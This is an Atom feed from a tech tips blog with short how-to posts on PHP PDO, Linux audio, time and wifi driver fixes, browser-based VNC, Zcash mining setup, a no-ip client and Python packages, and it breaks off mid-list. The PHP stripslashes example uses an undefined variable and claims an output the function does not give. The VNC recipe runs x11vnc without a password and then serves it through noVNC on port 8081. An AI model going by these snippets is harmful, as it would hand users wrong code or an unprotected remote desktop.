<?xml version='1.0' encoding='UTF-8'?>
<feed xmlns='http://www.w3.org/2005/Atom' xml:lang='en'>
<title>Wireless Army</title><icon>https://wirelessarmy.theproject1.com/images/logo/red/logo.png</icon><updated>2023-04-12T10:59:21+00:00</updated><id>https://wirelessarmy.theproject1.com/rss.php</id>
<link type='application/rss+xml' title='Wireless Army' href='https://wirelessarmy.theproject1.com/rss.php' rel='self' /> 
<link type='text/html' href='https://wirelessarmy.theproject1.com' rel='alternate'/>
<subtitle> This is a blog / tips and tricks website for web developers and security researchers.</subtitle><entry>
<title>PDO setup help</title> 
<content type='html'>&lt;pre&gt;$host    = DATABASE_HOST;
$dbase   = DATABASE_NAME;
$user    = DATABASE_USER;
$pass    = DATABASE_PASS;
$charset = DATABASE_CHARSET;

// set the connection parameters
$dsn = &quot;mysql:host=$host;dbname=$dbase;charset=$charset&quot;;
$opt = [
    PDO::ATTR_ERRMODE            =&amp;gt; PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE =&amp;gt; PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   =&amp;gt; false,
];

// get the connection
$this-&amp;gt;pdb = new PDO($dsn, $user, $pass, $opt);
Then you can use the statements below to read and write the database:

// WRITE STATEMENT THAT RETURNS ROW ID
$stmt = $this-&amp;gt;pdb-&amp;gt;prepare($sql);
$stmt-&amp;gt;execute($fields);
$retval = $this-&amp;gt;pdb-&amp;gt;lastInsertId();

// READ STATEMENTS

$stmt = $this-&amp;gt;pdb-&amp;gt;prepare($sql);
$stmt-&amp;gt;execute($fields);

// fetches one field
$result = $stmt-&amp;gt;fetch(PDO::FETCH_COLUMN); 

// fetches multiple fields
$result = $stmt-&amp;gt;fetch(PDO::FETCH_ASSOC); 
&lt;/pre&gt;</content>
<published>2023-04-12T10:59:21+00:00</published>
<updated>2023-04-12T10:59:21+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/235'/>
<id>https://wirelessarmy.theproject1.com/235</id>
<author><name>admin</name></author>
</entry> <entry>
<title>intel or Realtek audio driver pop fix</title> 
<content type='html'>&lt;p&gt;on some older kernels to make sure realtek audio drivers are loaded. the following line should fix it&lt;/p&gt;
&lt;pre&gt;alsactl init&lt;/pre&gt;
&lt;p&gt;There is a very subtle yet annoying audio POP that happens immediately before &amp;amp; after any normal audio play-back. &lt;br /&gt;My intuition felt that issue resembled some kind of power-saving feature, and I was not wrong. &lt;br /&gt;To solve this issue simply disable the power saving feature of the Intel HD Audio driver in Linux. &lt;br /&gt;To observe the current values:&lt;/p&gt;
&lt;pre&gt;cat /sys/module/snd_hda_intel/parameters/power_save
1

cat /sys/module/snd_hda_intel/parameters/power_save_controller
Y
 &lt;/pre&gt;
&lt;p&gt;The value of &quot;1&quot; for the power_save is the worst possible default imaginable, it&#039;s the most absurdly aggressive power saving mode possible. It would have been more sane to default to 10 or 20 seconds, but I digress. The value of &quot;Y&quot; simply indicates the power saving feature is enabled. &lt;br /&gt;To disable these features on a running system, simply use standard IO on the same files:&lt;/p&gt;
&lt;pre&gt;echo &#039;N&#039; &amp;gt; /sys/module/snd_hda_intel/parameters/power_save_controller 

echo &#039;0&#039; &amp;gt; /sys/module/snd_hda_intel/parameters/power_save
&lt;/pre&gt;
&lt;p&gt;(Edit: made a copy/paste correction here to correctly show the stdio echo into the files) &lt;br /&gt;Repeat the earlier steps to verify the change. &lt;br /&gt;To make the change more permanent you can re-build your kernel with modified CONFIG_SND_HDA_POWER_SAVE_DEFAULT parameter, see the kconfig documentation for details. &lt;br /&gt;&lt;br /&gt;https://cateee.net/lkddb/web-lkddb/SND_HDA_POWER_SAVE_DEFAULT.html &lt;br /&gt;&lt;br /&gt;Another option might be to blacklist the kernel module on bootup, or write a scrip to set these values on boot.&lt;/p&gt;</content>
<published>2022-03-17T17:56:22+00:00</published>
<updated>2022-03-17T17:56:22+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/232'/>
<id>https://wirelessarmy.theproject1.com/232</id>
<author><name>admin</name></author>
</entry> <entry>
<title>fix date time timezone in linux command line </title> 
<content type='html'>&lt;p&gt;The following 2 lines installs ntp and enables it&lt;/p&gt;
&lt;pre&gt;apt install systemd-timesyncd
timedatectl set-ntp true
&lt;/pre&gt;
&lt;p&gt;to verify time you can run:&lt;/p&gt;
&lt;pre&gt;timedatectl
date
&lt;/pre&gt;
&lt;p&gt;you can run the following to setup the proper timezone:&lt;/p&gt;
&lt;pre&gt;dpkg-reconfigure tzdata
&lt;/pre&gt;</content>
<published>2022-03-15T20:15:20+00:00</published>
<updated>2022-03-15T20:15:20+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/234'/>
<id>https://wirelessarmy.theproject1.com/234</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Windows 8 Apps</title> 
<content type='html'>&lt;p&gt;create a folder anywhere you want and rename it to:&lt;/p&gt;
&lt;pre&gt;Applications. {4234d49b-0245-4df3-b780-3893943456e1}&lt;/pre&gt;
&lt;p&gt;All your windows applications would be there.&lt;/p&gt;</content>
<published>2022-03-15T20:14:47+00:00</published>
<updated>2022-03-15T20:14:47+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/127'/>
<id>https://wirelessarmy.theproject1.com/127</id>
<author><name>admin</name></author>
</entry> <entry>
<title>install wifi driver on older devices </title> 
<content type='html'>&lt;p&gt;Broadcom 4360 actually comes with either of two distinct chips, 14E4:4360 and 14E4:43A0. There is no driver in Linux for the first one, while wl is an appropriate driver for the second one. You can determine which one you have by means of the following command:&lt;/p&gt;
&lt;p&gt;lspci -vnn | grep -i net&lt;/p&gt;
&lt;p&gt;If instead you wish to do this from within Mac OS, hit the Apple -&amp;gt; About this Mac -&amp;gt; More Info-&amp;gt; System Info, and then click on Wi-fi. You will find a line like&lt;/p&gt;
&lt;p&gt;Card Type: AirPort Extreme (0x14E4, 0x117)&lt;/p&gt;
&lt;p&gt;which displays Vendor (14E4) and Product (117, in my case) code of the Wi-fi card.&lt;/p&gt;
&lt;p&gt;There is no support for Broadcom 4360 14E4:4360 on Linux. The definitive guide in these matters is Linux Wireless, which gives in this table the list of all Broadcomm wireless chips, and the available Linux drivers. As you can see, no driver is listed under BCM4360 14E4:4360.&lt;/p&gt;
&lt;p&gt;Two lines below in the same table, it is shown that the other chip with which 4360 is produced, 14E4:43A0, is instead supported by the proprietary driver wl. The correct procedure to install this driver is described here, in the Debian Wiki. For Wheezy, you should add this line&lt;/p&gt;
&lt;p&gt;deb http://http.debian.net/debian/ wheezy main contrib non-free&lt;/p&gt;
&lt;p&gt;to the file /etc/apt/sources.list, then run&lt;/p&gt;
&lt;p&gt;apt-get update&lt;br /&gt; apt-get install linux-headers-$(uname -r|sed &#039;s,[^-]*-[^-]*-,,&#039;) broadcom-sta-dkms&lt;/p&gt;
&lt;p&gt;and lastly you will need to remove some conflicting drivers which come pre-installed in Debian:&lt;/p&gt;
&lt;p&gt;modprobe -r b44 b43 b43legacy ssb brcmsmac&lt;/p&gt;
&lt;p&gt;Now you are good to go:&lt;/p&gt;
&lt;p&gt;modprobe wl&lt;/p&gt;
&lt;p&gt;You should also keep the following in mind: about the wl driver, this is what the ever informative Arch Linux wiki has to say:&lt;/p&gt;
&lt;p&gt;Warning: Even though this driver has matured a lot throughout the years and works quite well now, its usage is recommended only when neither of the two open-source drivers support your device. Please refer to project b43&#039;s page for list of supported devices.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</content>
<published>2022-03-14T12:45:12+00:00</published>
<updated>2022-03-14T12:45:12+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/233'/>
<id>https://wirelessarmy.theproject1.com/233</id>
<author><name>admin</name></author>
</entry> <entry>
<title>VNC over the browser</title> 
<content type='html'>&lt;pre&gt;apt-get install -y novnc x11vnc
x11vnc -display :0 -autoport -localhost -nopw -bg -xkb -quiet -forever&lt;/pre&gt;
&lt;p&gt;if you get any errors do this: x11vnc -display :0 -autoport -localhost -nopw -bg -xkb -quiet -forever run&lt;/p&gt;
&lt;pre&gt;ps aux | grep Xorg&lt;/pre&gt;
&lt;p&gt;and you will get a line like this root 1930 9.0 1.0 25383856 82068 tty2 Sl+ 14:39 7:58 /usr/lib/xorg/Xorg vt2 -displayfd 3 -auth /run/user/0/gdm/Xauthority -nolisten tcp -background none -noreset -keeptty -novtswitch -verbose 3 and add the following to the end of your first command&lt;/p&gt;
&lt;pre&gt; -auth /run/user/0/gdm/Xauthority&lt;/pre&gt;
&lt;p&gt;so like this:&lt;/p&gt;
&lt;pre&gt;x11vnc -display :0 -autoport -localhost -nopw -bg -xkb -quiet -forever -auth /run/user/0/gdm/Xauthority &lt;/pre&gt;
&lt;pre&gt;The VNC desktop is: localhost:0 
PORT=5900&lt;/pre&gt;
&lt;p&gt;with is you can check if the port is open and the program is running&lt;/p&gt;
&lt;pre&gt;ss -antp | grep vnc&lt;/pre&gt;
&lt;pre&gt;LISTEN 0 32 127.0.0.1:5900 0.0.0.0:* users:((&quot;x11vnc&quot;,pid=8056,fd=8))
LISTEN 0 32 [::1]:5900 [::]:* users:((&quot;x11vnc&quot;,pid=8056,fd=9)) &lt;/pre&gt;
&lt;p&gt;then with novnc you can reroute like so:&lt;/p&gt;
&lt;pre&gt;/usr/share/novnc/utils/launch.sh --listen 8081 --vnc localhost:5900&lt;/pre&gt;</content>
<published>2021-12-25T13:19:01+00:00</published>
<updated>2021-12-25T13:19:01+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/231'/>
<id>https://wirelessarmy.theproject1.com/231</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Node js</title> 
<content type='html'>&lt;p&gt;if you are getting the following error trying to run node js apps like angular or react.&lt;/p&gt;
&lt;p&gt;[Fixed] ng server &amp;ndash; listen EACCES: permission denied 127.0.0.1:4200&lt;/p&gt;
&lt;p&gt;try the following:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;netsh int ipv4 add excludedportrange protocol=tcp startport=4200 numberofports=1
net stop winnat&lt;/pre&gt;</content>
<published>2021-12-25T12:44:38+00:00</published>
<updated>2021-12-25T12:44:38+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/230'/>
<id>https://wirelessarmy.theproject1.com/230</id>
<author><name>admin</name></author>
</entry> <entry>
<title>getting started with zcash</title> 
<content type='html'>&lt;p&gt;here will we just have a zcash server and account up and running&lt;/p&gt;
&lt;p&gt;Requirements:&lt;/p&gt;
&lt;p&gt;Linux (easiest with a Debian-based distribution)&lt;br /&gt;64-bit&lt;br /&gt;4GB of free memory&lt;/p&gt;
&lt;p&gt;Configuration:&lt;/p&gt;
&lt;pre&gt;mkdir -p ~/.zcash&lt;br /&gt;echo &quot;addnode=mainnet.z.cash&quot; &amp;gt;~/.zcash/zcash.conf&lt;br /&gt;echo &quot;rpcuser=username&quot; &amp;gt;&amp;gt;~/.zcash/zcash.conf&lt;br /&gt;echo &quot;rpcpassword=`head -c 32 /dev/urandom | base64`&quot; &amp;gt;&amp;gt;~/.zcash/zcash.conf&lt;/pre&gt;
&lt;p&gt;gen=1 enables mining&lt;br /&gt;genproclimit for limiting the number of theards that you want to mine on&lt;/p&gt;
&lt;pre&gt;echo &#039;gen=1&#039; &amp;gt;&amp;gt; ~/.zcash/zcash.conf&lt;br /&gt;echo &quot;genproclimit=-1&quot; &amp;gt;&amp;gt; ~/.zcash/zcash.conf&lt;/pre&gt;
&lt;p&gt;zcashd will run zcashd&lt;/p&gt;
&lt;p&gt;to test if it is runing&lt;/p&gt;
&lt;pre&gt;zcash-cli getinfo&lt;/pre&gt;
&lt;p&gt;To see the peers you are connected to:&lt;/p&gt;
&lt;pre&gt;zcash-cli getpeerinfo&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;Generating a t-addr&lt;/p&gt;
&lt;pre&gt;zcash-cli getnewaddress&lt;/pre&gt;
&lt;p&gt;Now let&#039;s generate a z-addr.&lt;/p&gt;
&lt;pre&gt;zcash-cli z_getnewaddress&lt;/pre&gt;
&lt;p&gt;This creates a private address and stores its key in your local wallet file. Give this address to the sender!&lt;/p&gt;
&lt;p&gt;To get a list of all addresses in your wallet for which you have a spending key, run this command:&lt;/p&gt;
&lt;p&gt;for z_address&lt;/p&gt;
&lt;pre&gt;zcash-cli z_listaddresses&lt;/pre&gt;
&lt;p&gt;for t adress with money in it&lt;/p&gt;
&lt;pre&gt;zcash-cli listtransactions&lt;/pre&gt;
&lt;p&gt;#for all t addresses&lt;/p&gt;
&lt;pre&gt;zcash-cli listreceivedbyaddress 0 true&lt;/pre&gt;
&lt;p&gt;you can find more information here&lt;/p&gt;</content>
<published>2021-12-10T16:29:00+00:00</published>
<updated>2021-12-10T16:29:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/223'/>
<id>https://wirelessarmy.theproject1.com/223</id>
<author><name>admin</name></author>
</entry> <entry>
<title>strip slashed from php string</title> 
<content type='html'>&lt;pre&gt;
$string = &quot;hello /world&quot;;
echo stripslashes($str);
&lt;/pre&gt;
output: hello world</content>
<published>2020-06-05T16:54:00+00:00</published>
<updated>2020-06-05T16:54:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/40'/>
<id>https://wirelessarmy.theproject1.com/40</id>
<author><name>admin</name></author>
</entry> <entry>
<title>noip auto ip change</title> 
<content type='html'>&lt;pre&gt;cd /usr/local/src/&lt;br /&gt;wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz&lt;br /&gt;tar xf noip-duc-linux.tar.gz&lt;br /&gt;cd noip-2.1.9-1/&lt;br /&gt;make install&lt;/pre&gt;
&lt;p&gt;if for some reason it gave you an error you may need to upgrade to &quot;Plus Managed DNS&quot; that is around 20$ (usually less)&lt;/p&gt;
&lt;pre&gt;/usr/local/bin/noip2 -C # dash capital C, this will create the default config file&lt;br /&gt;/usr/local/bin/noip2 # to launch the client&lt;/pre&gt;
&lt;p&gt;also here is a script for auto start:&lt;br /&gt;first create a file called noip2 in /etc/init.d/&lt;/p&gt;
&lt;pre&gt;chmod +x noip2&lt;br /&gt;update-rc.d noip2 defaults&lt;/pre&gt;
&lt;pre&gt;#! /bin/sh&lt;br /&gt;# /etc/init.d/noip2&lt;br /&gt;&lt;br /&gt;# Supplied by no-ip.com&lt;br /&gt;# Modified for Debian GNU/Linux by Eivind L. Rygge &amp;lt;eivind@rygge.org&amp;gt;&lt;br /&gt;# Updated by David Courtney to not use pidfile 130130 for Debian 6.&lt;br /&gt;# Updated again by David Courtney to &quot;LSBize&quot; the script for Debian 7.&lt;br /&gt;&lt;br /&gt;### BEGIN INIT INFO&lt;br /&gt;# Provides: noip2&lt;br /&gt;# Required-Start: networking&lt;br /&gt;# Required-Stop:&lt;br /&gt;# Should-Start:&lt;br /&gt;# Should-Stop:&lt;br /&gt;# Default-Start: 2 3 4 5&lt;br /&gt;# Default-Stop: 0 1 6&lt;br /&gt;# Short-Description: Start noip2 at boot time&lt;br /&gt;# Description: Start noip2 at boot time&lt;br /&gt;### END INIT INFO&lt;br /&gt;&lt;br /&gt;# . /etc/rc.d/init.d/functions # uncomment/modify for your killproc&lt;br /&gt;&lt;br /&gt;DAEMON=/usr/local/bin/noip2&lt;br /&gt;NAME=noip2&lt;br /&gt;&lt;br /&gt;test -x $DAEMON || exit 0&lt;br /&gt;&lt;br /&gt;case &quot;$1&quot; in&lt;br /&gt; start)&lt;br /&gt; echo -n &quot;Starting dynamic address update: &quot;&lt;br /&gt; start-stop-daemon --start --exec $DAEMON&lt;br /&gt; echo &quot;noip2.&quot;&lt;br /&gt; ;;&lt;br /&gt; stop)&lt;br /&gt; echo -n &quot;Shutting down dynamic address update:&quot;&lt;br /&gt; start-stop-daemon --stop --oknodo --retry 30 --exec $DAEMON&lt;br /&gt; echo &quot;noip2.&quot;&lt;br /&gt; ;;&lt;br /&gt;&lt;br /&gt; restart)&lt;br /&gt; echo -n &quot;Restarting dynamic address update: &quot;&lt;br /&gt; start-stop-daemon --stop --oknodo --retry 30 --exec $DAEMON&lt;br /&gt; start-stop-daemon --start --exec $DAEMON&lt;br /&gt; echo &quot;noip2.&quot;&lt;br /&gt; ;;&lt;br /&gt;&lt;br /&gt; *)&lt;br /&gt; echo &quot;Usage: $0 {start|stop|restart}&quot;&lt;br /&gt; exit 1&lt;br /&gt;esac&lt;br /&gt;exit 0&lt;/pre&gt;</content>
<published>2020-06-05T16:49:00+00:00</published>
<updated>2020-06-05T16:49:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/212'/>
<id>https://wirelessarmy.theproject1.com/212</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Home</title> 
<content type='html'>&lt;h2&gt;new content management system ui more fluid than wordpress, code more organized than drupal! Take a look inside the code here.&amp;nbsp;&lt;a href=&quot;4&quot; target=&quot;_blank&quot;&gt;cms Individual license&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The main objective of this site is to classify stuff on forums and publish tips and tricks for &lt;a href=&quot;windows&quot;&gt;windows&lt;/a&gt;, &lt;a href=&quot;linux&quot;&gt;linux&lt;/a&gt;, &lt;a href=&quot;general&quot;&gt;web apps&lt;/a&gt;&amp;nbsp;users and developers for python, php, html, css, javascript, crypto and etc.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt; &lt;strong&gt; Got a tech related&amp;nbsp;question that you want me to answer? Just tweet it @wirelessarmy !&lt;/strong&gt;&lt;br /&gt;You can check out the new &lt;a href=&quot;//youtube.com/user/wirelessarmy&quot; target=&quot;_blank&quot;&gt;youtube channel&lt;/a&gt;&lt;!-- You can also join us at the &lt;a href=&quot;/chat/index.php&quot;&gt;irc channel (irc.freenode.net) #wirelessarmy&lt;/a&gt;--&gt; The mobile version of this site is also &lt;a href=&quot;mobile&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;</content>
<published>2020-05-18T18:29:17+00:00</published>
<updated>2020-05-18T18:29:17+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/1'/>
<id>https://wirelessarmy.theproject1.com/1</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Cool python packages to get started with</title> 
<content type='html'>&lt;p&gt;Here are a few cool python pip packages to get started with&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Pillow is actually a fork of PIL &amp;ndash; Python Image Library. At first, pillow was mainly based on the PIL code-structure. But later, it transformed into something more friendly and better. Experts say Pillow is actually a modern version of PIL. However, pillow is your trusted company while working with images or any type of image format.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Features Of Pillow&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using Pillow, you can not only open and save images but also influence the environment of images as well.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Pillow supports a lot of file types such as PDF, WebP, PCX, PNG, JPEG, GIF, PSD, WebP, PCX, GIF, IM, EPS, ICO, BMP, and many others as well.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;With Pillow, you can easily create thumbnails for images. Thumbnails bear most of the valuable aspects of your image.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Pillow supports a collection of image filters &amp;ndash; FIND_EDGES, DETAIL, SMOOTH, BLUR, CONTOUR, SHARPEN, SMOOTH_MORE, and others.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Pillow offers great support from the community who are eager to answer, challenge, and work through any of your inquiries.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://pypi.org/project/Pillow/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;span class=&quot;td_btn td_btn_md td_round_btn&quot;&gt;&lt;strong&gt;Get Pillow&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;02-matplotlib&quot; class=&quot;ftwp-heading&quot;&gt;&lt;strong&gt;Matplotlib&lt;/strong&gt;&lt;/h3&gt;
&lt;hr /&gt;
&lt;p&gt;Matplotlib is a Python library that uses Python Script to write 2-dimensional graphs and plots. Often&amp;nbsp;&lt;a title=&quot;Top 20 Best Computer Algebra Systems for Linux in 2019&quot; href=&quot;https://ubuntupit.com/top-20-best-computer-algebra-systems-for-linux/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;mathematical&lt;/a&gt;&amp;nbsp;or scientific applications require more than single axes in a representation. This library helps us to build multiple plots at a time. You can, however, use Matplotlib to manipulate different characteristics of figures as well.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Features Of Matplotlib&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Matplotlib can create such quality figures that are really good for publication. Figures you create with Matplotlib are available in hardcopy formats across different interactive platforms.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;You can use MatPlotlib with different toolkits such as Python Scripts, IPython Shells, Jupyter Notebook, and many other four graphical user interfaces.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;A number of third-party libraries can be integrated with Matplotlib applications. Such as&amp;nbsp;&lt;a href=&quot;https://seaborn.github.io/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;seaborn&lt;/a&gt;,&amp;nbsp;&lt;a href=&quot;https://ggplot.yhathq.com/&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener noreferrer&quot;&gt;ggplot&lt;/a&gt;,&amp;nbsp;and other projection and mapping toolkits such as&amp;nbsp;&lt;a href=&quot;https://matplotlib.org/basemap&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener noreferrer&quot;&gt;basemap&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;An active community of developers is dedicated to helping you with any of your inquiries with Matplotlib. Their contribution to Matplotlib is highly praisable.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Good thing is that you can track any bugs, new patches, and feature requests on the&amp;nbsp;&lt;a href=&quot;https://github.com/matplotlib/matplotlib/issues&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener noreferrer&quot;&gt;issue tracker&lt;/a&gt;&lt;/strong&gt;&lt;strong&gt;&amp;nbsp;page from Github. It is an official page for featuring different issues related to Matplotlib.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://matplotlib.org/downloads.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;span class=&quot;td_btn td_btn_md td_round_btn&quot;&gt;&lt;strong&gt;Get Matplotlib&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;03-numpy&quot; class=&quot;ftwp-heading&quot;&gt;&lt;strong&gt;Numpy&lt;/strong&gt;&lt;/h3&gt;
&lt;hr /&gt;
&lt;p&gt;Numpy is a popular array &amp;ndash; processing package of Python. It provides good support for different dimensional array objects as well as for matrices. Numpy is not only confined to providing arrays only, but it also provides a variety of tools to manage these arrays. It is fast, efficient, and really good for managing matrice and arrays.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Features Of Numpy&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Arrays of Numpy offer modern mathematical implementations on huge amount of data. Numpy makes the execution of these projects much easier and hassle-free.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Numpy provides masked arrays along with general array objects. It also comes with functionalities such as manipulation of logical shapes, discrete Fourier transform, general linear algebra, and many more.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;While you change the shape of any N-dimensional arrays, Numpy will create new arrays for that and delete the old ones.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;This python package provides useful tools for integration. You can easily integrate Numpy with programming languages such as C, C++, and Fortran code.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Numpy provides such functionalities that are comparable to MATLAB. They both allow users to get faster with operations.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://pypi.org/project/numpy/&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener noreferrer&quot;&gt;&lt;span class=&quot;td_btn td_btn_md td_round_btn&quot;&gt;&lt;strong&gt;Get Numpy&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;04-opencv-python&quot; class=&quot;ftwp-heading&quot;&gt;&lt;strong&gt;OpenCV Python&lt;/strong&gt;&lt;/h3&gt;
&lt;hr /&gt;
&lt;p&gt;OpenCV, a.k.a Open Source Computer Vision is a python package for image processing. It monitors overall functions that are focused on instant computer vision. Although OpenCV has no proper documentation, according to many developers, it is one of the hardest libraries to learn. However, it does provide many inbuilt functions through which you learn Computer vision easily.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Features Of OpenCV&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OpenCV is an ideal image processing package that allows you to both read and write images at the same time.&amp;nbsp;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Computer Vision allows you to rebuild, interrupt, and comprehend a 3D environment from its respective 2D environment.&lt;/li&gt;
&lt;li&gt;This package allows you to diagnose special objects in any videos or images. Objects such as faces, eyes, trees, etc.&lt;/li&gt;
&lt;li&gt;You can also save and capture any moment of a video and also analyze its different properties such as motion, background, etc.&lt;/li&gt;
&lt;li&gt;OpenCV is compatible with many operating systems such as Windows, OS-X, Open BSD, and many others.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://pypi.org/project/opencv-python/&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener noreferrer&quot;&gt;&lt;span class=&quot;td_btn td_btn_md td_round_btn&quot;&gt;&lt;strong&gt;Get OpenCV&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;05-requests&quot; class=&quot;ftwp-heading&quot;&gt;&lt;strong&gt;&amp;nbsp;Requests&lt;/strong&gt;&lt;/h3&gt;
&lt;hr /&gt;
&lt;p&gt;Requests is a rich Python HTTP library. Released under Apache2.0 license, Requests is focused on making HTTP requests more responsive and user-friendly. This python library is a real blessing for beginners as it allows the use of most common methods of HTTP. You can easily customize, inspect, authorize, and configure HTTP requests using this library.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Features Of Requests&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using basic Python Dictionaries in Requests, you can add parameters, headers, multi-part files, and form data as well.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;It is an easy library with tons of features that allow you to address custom headers,&amp;nbsp;SSL&amp;nbsp;certificate verifications, and sweep parameters towards URLs.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;With Requests, you can easily upload multiple files at a time. It allows you to work in a faster and efficient environment.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Requests features automatic decompression that allows you to restore and revive compressed data into its authentic form in no time.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Enjoy the benefits of HTTP proxy support with Requests. And allow your users with a faster and simpler route to your files and pages.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Requests also features with value cookies, Unicode response bodies, Basic/Digest authentication, thread safety, connection pooling, and many more.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://pypi.org/project/requests/&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener noreferrer&quot;&gt;&lt;span class=&quot;td_btn td_btn_md td_round_btn&quot;&gt;&lt;strong&gt;Get Requests&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;07-tensorflow&quot; class=&quot;ftwp-heading&quot;&gt;&lt;strong&gt;TensorFlow&lt;/strong&gt;&lt;/h3&gt;
&lt;hr /&gt;
&lt;p&gt;TensorFlow is a free, open-source python&amp;nbsp;&lt;a title=&quot;Top 20 Best AI and Machine Learning Software and Frameworks in 2019&quot; href=&quot;https://ubuntupit.com/best-ai-and-machine-learning-software-and-frameworks/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;machine learning library&lt;/a&gt;. It is very easy to learn and has a handful collection of useful tools. However, it is not limited to machine learning only; you can also use it for dataflow and programs that are differentiable. You can easily get to work with TensorFlow by installing Colab Notebooks in any browser you use.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Features Of TensorFlow&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TensorFlow uses automatic high-performance APIs such as &amp;ndash; Keras. It offers an immediate iteration of machine learning models.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;This library features eager execution, which allows you to create, manipulate machine learning models, and make the debugging way easier.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;With TensorFlow, you can easily move your ML models in clouds, on any device and on-premises in any browser.&amp;nbsp;&lt;/li&gt;
